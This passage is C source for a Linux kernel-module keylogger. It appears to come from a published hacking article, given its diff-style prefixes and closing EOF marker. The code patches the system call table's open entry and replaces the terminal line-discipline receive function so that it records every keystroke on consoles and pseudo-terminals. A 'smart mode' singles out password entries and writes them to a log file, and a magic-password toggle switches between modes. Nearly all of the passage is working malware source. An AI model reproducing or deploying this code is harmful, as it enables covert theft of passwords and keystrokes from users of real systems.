- TTY_NAME(tty),TTY_NUMBER(tty),
- task->uid, task->comm, tmp->buf);
- else
- snprintf(loginfo, sizeof(loginfo)-1,
- "\n[%s tty=%s/%d]\nUSER/CMD %s",
- date_time, TTY_NAME(tty),
- TTY_NUMBER(tty), tmp->buf);
- write_to_file(PASS_LOG, loginfo, strlen(loginfo));
- } else {
- snprintf(loginfo, sizeof(loginfo)-1, "PASS %s",
- tmp->buf);
- write_to_file (PASS_LOG, loginfo, strlen(loginfo));
- }
- END_ROOT
- #ifdef DEBUG
- if (!tmp->pass)
- DPRINT("USER/CMD %s", tmp->buf);
- else
- DPRINT("PASS %s", tmp->buf);
- #endif
- }
- if (!cont) tmp->buf[--tmp->lastpos] = 0;
- }
- #define resetbuf(t) \
- { \
- t->buf[0] = 0; \
- t->lastpos = 0; \
- }
- #define append_c(t, s, n) \
- { \
- t->lastpos += n; \
- strncat(t->buf, s, n); \
- }
- static inline void reset_all_buf(void)
- {
- int i = 0;
- for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++)
- if (ttys[i] != NULL)
- resetbuf(ttys[i]);
- }
- void special_key(struct tlogger *tmp, const unsigned char *cp, int count)
- {
- switch(count) {
- case 2:
- switch(cp[1]) {
- case '\'':
- append_c(tmp, "[ALT-\']", 7);
- break;
- case ',':
- append_c(tmp, "[ALT-,]", 7);
- break;
- case '-':
- append_c(tmp, "[ALT--]", 7);
- break;
- case '.':
- append_c(tmp, "[ALT-.]", 7);
- break;
- case '/':
- append_c(tmp, "[ALT-/]", 7);
- break;
- case '0':
- append_c(tmp, "[ALT-0]", 7);
- break;
- case '1':
- append_c(tmp, "[ALT-1]", 7);
- break;
- case '2':
- append_c(tmp, "[ALT-2]", 7);
- break;
- case '3':
- append_c(tmp, "[ALT-3]", 7);
- break;
- case '4':
- append_c(tmp, "[ALT-4]", 7);
- break;
- case '5':
- append_c(tmp, "[ALT-5]", 7);
- break;
- case '6':
- append_c(tmp, "[ALT-6]", 7);
- break;
- case '7':
- append_c(tmp, "[ALT-7]", 7);
- break;
- case '8':
- append_c(tmp, "[ALT-8]", 7);
- break;
- case '9':
- append_c(tmp, "[ALT-9]", 7);
- break;
- case ';':
- append_c(tmp, "[ALT-;]", 7);
- break;
- case '=':
- append_c(tmp, "[ALT-=]", 7);
- break;
- case '[':
- append_c(tmp, "[ALT-[]", 7);
- break;
- case '\\':
- append_c(tmp, "[ALT-\\]", 7);
- break;
- case ']':
- append_c(tmp, "[ALT-]]", 7);
- break;
- case '`':
- append_c(tmp, "[ALT-`]", 7);
- break;
- case 'a':
- append_c(tmp, "[ALT-A]", 7);
- break;
- case 'b':
- append_c(tmp, "[ALT-B]", 7);
- break;
- case 'c':
- append_c(tmp, "[ALT-C]", 7);
- break;
- case 'd':
- append_c(tmp, "[ALT-D]", 7);
- break;
- case 'e':
- append_c(tmp, "[ALT-E]", 7);
- break;
- case 'f':
- append_c(tmp, "[ALT-F]", 7);
- break;
- case 'g':
- append_c(tmp, "[ALT-G]", 7);
- break;
- case 'h':
- append_c(tmp, "[ALT-H]", 7);
- break;
- case 'i':
- append_c(tmp, "[ALT-I]", 7);
- break;
- case 'j':
- append_c(tmp, "[ALT-J]", 7);
- break;
- case 'k':
- append_c(tmp, "[ALT-K]", 7);
- break;
- case 'l':
- append_c(tmp, "[ALT-L]", 7);
- break;
- case 'm':
- append_c(tmp, "[ALT-M]", 7);
- break;
- case 'n':
- append_c(tmp, "[ALT-N]", 7);
- break;
- case 'o':
- append_c(tmp, "[ALT-O]", 7);
- break;
- case 'p':
- append_c(tmp, "[ALT-P]", 7);
- break;
- case 'q':
- append_c(tmp, "[ALT-Q]", 7);
- break;
- case 'r':
- append_c(tmp, "[ALT-R]", 7);
- break;
- case 's':
- append_c(tmp, "[ALT-S]", 7);
- break;
- case 't':
- append_c(tmp, "[ALT-T]", 7);
- break;
- case 'u':
- append_c(tmp, "[ALT-U]", 7);
- break;
- case 'v':
- append_c(tmp, "[ALT-V]", 7);
- break;
- case 'x':
- append_c(tmp, "[ALT-X]", 7);
- break;
- case 'y':
- append_c(tmp, "[ALT-Y]", 7);
- break;
- case 'z':
- append_c(tmp, "[ALT-Z]", 7);
- break;
- }
- break;
- case 3:
- switch(cp[2]) {
- case 68:
- // Left: 27 91 68
- append_c(tmp, "[LEFT]", 6);
- break;
- case 67:
- // Right: 27 91 67
- append_c(tmp, "[RIGHT]", 7);
- break;
- case 65:
- // Up: 27 91 65
- append_c(tmp, "[UP]", 4);
- break;
- case 66:
- // Down: 27 91 66
- append_c(tmp, "[DOWN]", 6);
- break;
- case 80:
- // Pause/Break: 27 91 80
- append_c(tmp, "[BREAK]", 7);
- break;
- }
- break;
- case 4:
- switch(cp[3]) {
- case 65:
- // F1: 27 91 91 65
- append_c(tmp, "[F1]", 4);
- break;
- case 66:
- // F2: 27 91 91 66
- append_c(tmp, "[F2]", 4);
- break;
- case 67:
- // F3: 27 91 91 67
- append_c(tmp, "[F3]", 4);
- break;
- case 68:
- // F4: 27 91 91 68
- append_c(tmp, "[F4]", 4);
- break;
- case 69:
- // F5: 27 91 91 69
- append_c(tmp, "[F5]", 4);
- break;
- case 126:
- switch(cp[2]) {
- case 53:
- // PgUp: 27 91 53 126
- append_c(tmp, "[PgUP]", 6);
- break;
- case 54:
- // PgDown: 27 91 54 126
- append_c(tmp,
- "[PgDOWN]", 8);
- break;
- case 49:
- // Home: 27 91 49 126
- append_c(tmp, "[HOME]", 6);
- break;
- case 52:
- // End: 27 91 52 126
- append_c(tmp, "[END]", 5);
- break;
- case 50:
- // Insert: 27 91 50 126
- append_c(tmp, "[INS]", 5);
- break;
- case 51:
- // Delete: 27 91 51 126
- append_c(tmp, "[DEL]", 5);
- break;
- }
- break;
- }
- break;
- case 5:
- if(cp[2] == 50)
- switch(cp[3]) {
- case 48:
- // F9: 27 91 50 48 126
- append_c(tmp, "[F9]", 4);
- break;
- case 49:
- // F10: 27 91 50 49 126
- append_c(tmp, "[F10]", 5);
- break;
- case 51:
- // F11: 27 91 50 51 126
- append_c(tmp, "[F11]", 5);
- break;
- case 52:
- // F12: 27 91 50 52 126
- append_c(tmp, "[F12]", 5);
- break;
- case 53:
- // Shift-F1: 27 91 50 53 126
- append_c(tmp, "[SH-F1]", 7);
- break;
- case 54:
- // Shift-F2: 27 91 50 54 126
- append_c(tmp, "[SH-F2]", 7);
- break;
- case 56:
- // Shift-F3: 27 91 50 56 126
- append_c(tmp, "[SH-F3]", 7);
- break;
- case 57:
- // Shift-F4: 27 91 50 57 126
- append_c(tmp, "[SH-F4]", 7);
- break;
- }
- else
- switch(cp[3]) {
- case 55:
- // F6: 27 91 49 55 126
- append_c(tmp, "[F6]", 4);
- break;
- case 56:
- // F7: 27 91 49 56 126
- append_c(tmp, "[F7]", 4);
- break;
- case 57:
- // F8: 27 91 49 57 126
- append_c(tmp, "[F8]", 4);
- break;
- case 49:
- // Shift-F5: 27 91 51 49 126
- append_c(tmp, "[SH-F5]", 7);
- break;
- case 50:
- // Shift-F6: 27 91 51 50 126
- append_c(tmp, "[SH-F6]", 7);
- break;
- case 51:
- // Shift-F7: 27 91 51 51 126
- append_c(tmp, "[SH-F7]", 7);
- break;
- case 52:
- // Shift-F8: 27 91 51 52 126
- append_c(tmp, "[SH-F8]", 7);
- break;
- };
- break;
- default: // Unknow
- break;
- }
- }
- /*
- * Called whenever user press a key
- */
- void vlogger_process(struct tty_struct *tty,
- const unsigned char *cp, int count)
- {
- struct tlogger *tmp = ttys[TTY_INDEX(tty)];
- if (!tmp) {
- DPRINT("erm .. unknow error???\n");
- init_tty(tty, TTY_INDEX(tty));
- tmp = ttys[TTY_INDEX(tty)];
- if (!tmp)
- return;
- }
- if (vlogger_mode == VK_SMARTMODE) {
- if (tmp->status && !IS_PASSWD(tty)) {
- resetbuf(tmp);
- }
- if (!tmp->pass && IS_PASSWD(tty)) {
- logging(tty, tmp, 0);
- resetbuf(tmp);
- }
- if (tmp->pass && !IS_PASSWD(tty)) {
- if (!tmp->lastpos)
- logging(tty, tmp, 0);
- resetbuf(tmp);
- }
- tmp->pass = IS_PASSWD(tty);
- tmp->status = 0;
- }
- if ((count + tmp->lastpos) > MAX_BUFFER - 1) {
- logging(tty, tmp, 1);
- resetbuf(tmp);
- }
- if (count == 1) {
- if (cp[0] == VK_TOGLE_CHAR) {
- if (!strcmp(tmp->buf, MAGIC_PASS)) {
- if(vlogger_mode < 2)
- vlogger_mode++;
- else
- vlogger_mode = 0;
- reset_all_buf();
- switch(vlogger_mode) {
- case VK_DUMBMODE:
- DPRINT("Dumb Mode\n");
- TTY_WRITE(tty, "\r\n"
- "Dumb Mode\n", 12);
- break;
- case VK_SMARTMODE:
- DPRINT("Smart Mode\n");
- TTY_WRITE(tty, "\r\n"
- "Smart Mode\n", 13);
- break;
- case VK_NORMAL:
- DPRINT("Normal Mode\n");
- TTY_WRITE(tty, "\r\n"
- "Normal Mode\n", 14);
- }
- }
- }
- switch (cp[0]) {
- case 0x01: //^A
- append_c(tmp, "[^A]", 4);
- break;
- case 0x02: //^B
- append_c(tmp, "[^B]", 4);
- break;
- case 0x03: //^C
- append_c(tmp, "[^C]", 4);
- case 0x04: //^D
- append_c(tmp, "[^D]", 4);
- case 0x0D: //^M
- case 0x0A:
- if (vlogger_mode == VK_SMARTMODE) {
- if (IS_PASSWD(tty)) {
- logging(tty, tmp, 0);
- resetbuf(tmp);
- } else
- tmp->status = 1;
- } else {
- logging(tty, tmp, 0);
- resetbuf(tmp);
- }
- break;
- case 0x05: //^E
- append_c(tmp, "[^E]", 4);
- break;
- case 0x06: //^F
- append_c(tmp, "[^F]", 4);
- break;
- case 0x07: //^G
- append_c(tmp, "[^G]", 4);
- break;
- case 0x09: //TAB - ^I
- append_c(tmp, "[TAB]", 5);
- break;
- case 0x0b: //^K
- append_c(tmp, "[^K]", 4);
- break;
- case 0x0c: //^L
- append_c(tmp, "[^L]", 4);
- break;
- case 0x0e: //^E
- append_c(tmp, "[^E]", 4);
- break;
- case 0x0f: //^O
- append_c(tmp, "[^O]", 4);
- break;
- case 0x10: //^P
- append_c(tmp, "[^P]", 4);
- break;
- case 0x11: //^Q
- append_c(tmp, "[^Q]", 4);
- break;
- case 0x12: //^R
- append_c(tmp, "[^R]", 4);
- break;
- case 0x13: //^S
- append_c(tmp, "[^S]", 4);
- break;
- case 0x14: //^T
- append_c(tmp, "[^T]", 4);
- break;
- case 0x15: //CTRL-U
- resetbuf(tmp);
- break;
- case 0x16: //^V
- append_c(tmp, "[^V]", 4);
- break;
- case 0x17: //^W
- append_c(tmp, "[^W]", 4);
- break;
- case 0x18: //^X
- append_c(tmp, "[^X]", 4);
- break;
- case 0x19: //^Y
- append_c(tmp, "[^Y]", 4);
- break;
- case 0x1a: //^Z
- append_c(tmp, "[^Z]", 4);
- break;
- case 0x1c: //^\
- append_c(tmp, "[^\\]", 4);
- break;
- case 0x1d: //^]
- append_c(tmp, "[^]]", 4);
- break;
- case 0x1e: //^^
- append_c(tmp, "[^^]", 4);
- break;
- case 0x1f: //^_
- append_c(tmp, "[^_]", 4);
- break;
- case BACK_SPACE_CHAR1:
- case BACK_SPACE_CHAR2:
- if (!tmp->lastpos) break;
- if (tmp->buf[tmp->lastpos-1] != ']')
- tmp->buf[--tmp->lastpos] = 0;
- else {
- append_c(tmp, "[^H]", 4);
- }
- break;
- case ESC_CHAR: //ESC
- append_c(tmp, "[ESC]", 5);
- break;
- default:
- tmp->buf[tmp->lastpos++] = cp[0];
- tmp->buf[tmp->lastpos] = 0;
- }
- } else { // a block of chars or special key
- if (cp[0] != ESC_CHAR) {
- while (count >= MAX_BUFFER) {
- append_c(tmp, cp, MAX_BUFFER);
- logging(tty, tmp, 1);
- resetbuf(tmp);
- count -= MAX_BUFFER;
- cp += MAX_BUFFER;
- }
- append_c(tmp, cp, count);
- } else // special key
- special_key(tmp, cp, count);
- }
- }
- void my_tty_open(void)
- {
- int fd, i;
- char dev_name[80];
- #ifdef LOCAL_ONLY
- int fl = 0;
- struct tty_struct * tty;
- struct file * file;
- #endif
- for (i=1; i<MAX_TTY_CON; i++) {
- snprintf(dev_name, sizeof(dev_name)-1, "/dev/tty%d", i);
- BEGIN_KMEM
- fd = open(dev_name, O_RDONLY, 0);
- if (fd < 0) continue;
- #ifdef LOCAL_ONLY
- file = fget(fd);
- tty = file->private_data;
- if (tty != NULL &&
- tty->ldisc.receive_buf != NULL) {
- if (!fl) {
- old_receive_buf =
- tty->ldisc.receive_buf;
- fl = 1;
- }
- init_tty(tty, TTY_INDEX(tty));
- }
- fput(file);
- #endif
- close(fd);
- END_KMEM
- }
- #ifndef LOCAL_ONLY
- for (i=0; i<MAX_PTS_CON; i++) {
- snprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i);
- BEGIN_KMEM
- fd = open(dev_name, O_RDONLY, 0);
- if (fd >= 0) close(fd);
- END_KMEM
- }
- #endif
- }
- void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
- char *fp, int count)
- {
- if (!tty->real_raw && !tty->raw) // ignore raw mode
- vlogger_process(tty, cp, count);
- (*old_receive_buf)(tty, cp, fp, count);
- }
- static inline void init_tty(struct tty_struct *tty, int tty_index)
- {
- struct tlogger *tmp;
- DPRINT("Init logging for %s%d\n", TTY_NAME(tty), TTY_NUMBER(tty));
- if (ttys[tty_index] == NULL) {
- tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL);
- if (!tmp) {
- DPRINT("kmalloc failed!\n");
- return;
- }
- memset(tmp, 0, sizeof(struct tlogger));
- tmp->tty = tty;
- tty->ldisc.receive_buf = new_receive_buf;
- ttys[tty_index] = tmp;
- } else {
- tmp = ttys[tty_index];
- logging(tty, tmp, 1);
- resetbuf(tmp);
- tty->ldisc.receive_buf = new_receive_buf;
- }
- }
- asmlinkage int new_sys_open(const char *filename, int flags, int mode)
- {
- int ret;
- static int fl = 0;
- struct file * file;
-
- ret = (*original_sys_open)(filename, flags, mode);
-
- if (ret >= 0) {
- struct tty_struct * tty;
- BEGIN_KMEM
- lock_kernel();
- file = fget(ret);
- tty = file->private_data;
- if (tty != NULL &&
- ((tty->driver.type == TTY_DRIVER_TYPE_CONSOLE &&
- TTY_NUMBER(tty) < MAX_TTY_CON - 1 ) ||
- (tty->driver.type == TTY_DRIVER_TYPE_PTY &&
- tty->driver.subtype == PTY_TYPE_SLAVE &&
- TTY_NUMBER(tty) < MAX_PTS_CON)) &&
- tty->ldisc.receive_buf != NULL &&
- tty->ldisc.receive_buf != new_receive_buf) {
- if (!fl) {
- old_receive_buf = tty->ldisc.receive_buf;
- fl = 1;
- }
- init_tty(tty, TTY_INDEX(tty));
- }
- fput(file);
- unlock_kernel();
- END_KMEM
- }
- return ret;
- }
- int init_module(void)
- {
- DPRINT(MVERSION);
- #ifndef LOCAL_ONLY
- original_sys_open = sys_call_table[__NR_open];
- sys_call_table[__NR_open] = new_sys_open;
- #endif
- my_tty_open();
- // MOD_INC_USE_COUNT;
- return 0;
- }
- DECLARE_WAIT_QUEUE_HEAD(wq);
- void cleanup_module(void)
- {
- int i;
- #ifndef LOCAL_ONLY
- sys_call_table[__NR_open] = original_sys_open;
- #endif
- for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
- if (ttys[i] != NULL) {
- ttys[i]->tty->ldisc.receive_buf = old_receive_buf;
- }
- }
- sleep_on_timeout(&wq, HZ);
- for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
- if (ttys[i] != NULL) {
- kfree(ttys[i]);
- }
- }
- DPRINT("Unloaded\n");
- }
- EXPORT_NO_SYMBOLS;
- <-->
- |=[ EOF ]=---------------------------------------------------------------=|
|